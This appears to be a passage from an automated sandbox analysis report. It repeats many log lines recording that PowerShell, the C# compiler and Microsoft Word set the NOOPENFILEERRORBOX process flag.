Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
